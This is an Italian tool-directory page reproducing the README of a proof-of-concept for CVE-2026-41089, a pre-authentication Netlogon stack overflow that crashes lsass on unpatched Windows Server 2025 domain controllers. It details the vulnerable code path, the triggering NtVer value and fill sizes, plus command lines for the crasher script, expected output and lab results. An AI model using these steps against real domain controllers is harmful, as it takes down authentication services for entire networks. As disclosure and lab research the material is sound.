Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-41089-PoC — CVE-2026-41089 LongLogon: crasher con buffer overflow nello stack pre-auth CLDAP (UDP/389) per Netlogon di Windows Server 2025 non patchato (lsass 0xc0000409). PoC Python solo stdlib + write-up di laboratorio. | Kitploit
Strumenti/GitHubGitHub/1posix/cve-2026-41089-poc
Analisi delle VulnerabilitàExploitSicurezza di RetePenetration TestingRed Teaming
GitHub1posix/cve-2026-41089-poc

CVE-2026-41089-PoC

CVE-2026-41089 LongLogon: crasher con buffer overflow nello stack pre-auth CLDAP (UDP/389) per Netlogon di Windows Server 2025 non patchato (lsass 0xc0000409). PoC Python solo stdlib + write-up di laboratorio.

Vedi Repository
5 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-41089 — LongLogon (crasher PoC)

Buffer overflow dello stack pre-autenticazione nel servizio Netlogon di Windows Server 2025. Un singolo pacchetto CLDAP (UDP/389) da qualsiasi host sulla rete è sufficiente: lsass.exe muore con STATUS_STACK_BUFFER_OVERRUN (0xc0000409) e il domain controller si riavvia.

  • Componente: netlogon.dll, NlGetLocalPingResponse / BuildSamLogonResponse
  • Vettore: un pacchetto UDP/389, non autenticato
  • Impatto: DoS (crash di lsass.exe, riavvio del DC)
  • Corretto in: build 10.0.26100.32772 e successive

Come funziona

La risposta a un ping CLDAP Netlogon viene serializzata in un buffer di stack da 528 byte. Il server scrive i propri nomi (forest, domain, hostname) seguiti dal campo User controllato dall'attaccante (limitato a 130 caratteri wide). Quando il riempimento totale raggiunge 536 byte (buffer + stack cookie), il L'\0' finale sovrascrive il cookie /GS e il processo va in crash.

Il campo NtVer instrada il percorso del codice: 0x02 prende il vulnerabile BuildSamLogonResponse, mentre 0x06 / 0x16 prendono il limitato (sicuro) BuildSamLogonResponseEx. Questo PoC invia NtVer = 0x02.

Requisiti

  • DC Windows Server 2025 non corretto: netlogon.dll < 10.0.26100.32772
  • Un dominio DNS lungo in modo che il riempimento previsto (User=130) raggiunga >= 536 byte. Windows Server 2025 limita i nomi di dominio AD a 64 caratteri; con un hostname di 63 caratteri il riempimento misurato è di 581 byte (crash garantito). Combinazioni più corte (ad es. 533 byte) sono al limite.
  • UDP/389 raggiungibile dall'host attaccante
  • Python >= 3.9 (solo stdlib, nessuna dipendenza)

Utilizzo

python3 longlogon_exploit.py <dc-ip> <dc-dns-domain> [--dry-run] [--shots N] [--confirm-wait S] [--force]

--dry-run sonda con User=1 (benigno), mostra il riempimento previsto, non spara --shots N numero di pacchetti di overflow da inviare (predefinito 1) --confirm-wait S attesa prima di ri-sondare dopo uno sparo silenzioso (predefinito 75s) --force spara anche se il riempimento previsto è sotto i 536 byte

Esempio (sostituire l'IP e il dominio con i valori del proprio laboratorio):

python3 longlogon_exploit.py 192.168.1.10 cve202641089.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.example --dry-run
python3 longlogon_exploit.py 192.168.1.10 cve202641089.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.example

Output previsto dello sparo:

[*] CVE-2026-41089 LongLogon crasher -> 192.168.1.10 (domain 64 chars)
[*] DC alive. Probe fill (User=1) = 323 B; projected fill (User=130) = 581 B (buffer 528, cookie 536)
[*] Firing overflow: NtVer=0x02, User=130 chars, shots=1
    shot #1: NO REPLY (5.01 s) -> possible crash (or lost packet)
[*] Waiting 75 s to let the DC (re)start, then re-probing...
[+] DC STILL DOWN after overflow + re-probe -> CRASH LIKELY (reboot in progress or dump pending)

Codici di uscita: 0 crash probabile, 1 DC silenzioso alla sonda iniziale, 2 riempimento sotto 536 byte (al limite), 3 DC sopravvissuto.

Nota: lo script ri-sonda dopo 75 secondi perché un singolo pacchetto silenzioso può anche essere un datagramma UDP perso. Non concludere un crash dal solo silenzio.

Verifica delle precondizioni (non distruttiva)

Usare il checker ufficiale dal repository di ricerca. Sonda con User=1, quindi il DC rimane attivo:

git clone https://github.com/ADScanPro/CVE-2026-41089-LongLogon && cd CVE-2026-41089-LongLogon
python3 run longlogon.py <dc-ip> <dc-dns-domain>

Previsto: "PRECONDITION MET" con un riempimento previsto di almeno 536 byte.

Il checker non prova lo stato della patch: un DC corretto prende lo stesso percorso del codice e semplicemente rifiuta la scrittura troppo lunga. Verificare la versione di netlogon.dll sul DC direttamente (< 10.0.26100.32772 = vulnerabile).

Conferma dopo il crash

Sul DC, una volta riavviato:

(Get-CimInstance Win32_OperatingSystem).LastBootUpTime
Get-WinEvent -FilterHashtable @{LogName='Application'; Id=1000} -MaxEvents 5

Cercare l'evento 1000: applicazione che causa l'errore lsass.exe, modulo che causa l'errore netlogon.DLL, codice eccezione 0xc0000409, e un orario di avvio successivo allo sparo.

Risultati di laboratorio

Testato su Windows Server 2025, lsass.exe 10.0.26100.7309, netlogon.dll 10.0.26100.32230 (non corretto), dominio di 64 caratteri + hostname di 63 caratteri (riempimento previsto 581 byte). Un pacchetto inviato:

    Application Error (Id 1000):
      Faulting application: lsass.exe, version: 10.0.26100.7309
      Faulting module:    netlogon.DLL, version: 10.0.26100.32230
      Exception code:     0xc0000409        (STATUS_STACK_BUFFER_OVERRUN)
      Fault offset:       0x000000000002399d

    LastBootUpTime: 17:19:42   (crash logged at 17:18:37)

Note

  • DoS, non RCE, per impostazione predefinita: il cookie /GS trasforma l'overflow in un crash controllato prima che venga raggiunto l'indirizzo di ritorno. Il campo User è completamente controllato dall'attaccante, il che è un percorso teorico verso l'esecuzione di codice.
  • Finestra al limite: tra 528 e 535 byte di riempimento il crash non è garantito (misurazioni di laboratorio: 535 B = 6/6 crash, 534 B = 0/6).
  • Il crash non è idempotente: fare uno snapshot del DC prima di sparare.
  • Dopo un crash il DC può tornare con Netlogon DBFlag 0x2080FFFF (modalità riparazione), che è normale dopo un crash di lsass.

Disclaimer

Questo PoC è fornito solo a scopo educativo e di ricerca. È stato sviluppato e testato in un ambiente di laboratorio isolato su Windows Server 2025. Usalo a tuo rischio.

Utilizzando questo script accetti che l'autore non è responsabile per qualsiasi perdita di dati, interruzione del servizio, danno hardware o altre conseguenze dirette o indirette. Il crash non è idempotente: il domain controller di destinazione si riavvierà. Fare uno snapshot prima di sparare.

Non viene fornita alcuna garanzia che questo PoC funzioni in un ambiente di produzione o su tutte le build di Windows Server 2025.

Riferimenti

  • Ricerca e checker: https://github.com/ADScanPro/CVE-2026-41089-LongLogon
  • Write-up: https://adscanpro.com/blog/patch-diffing-cve-2026-41089-netlogon
Scarica lo strumento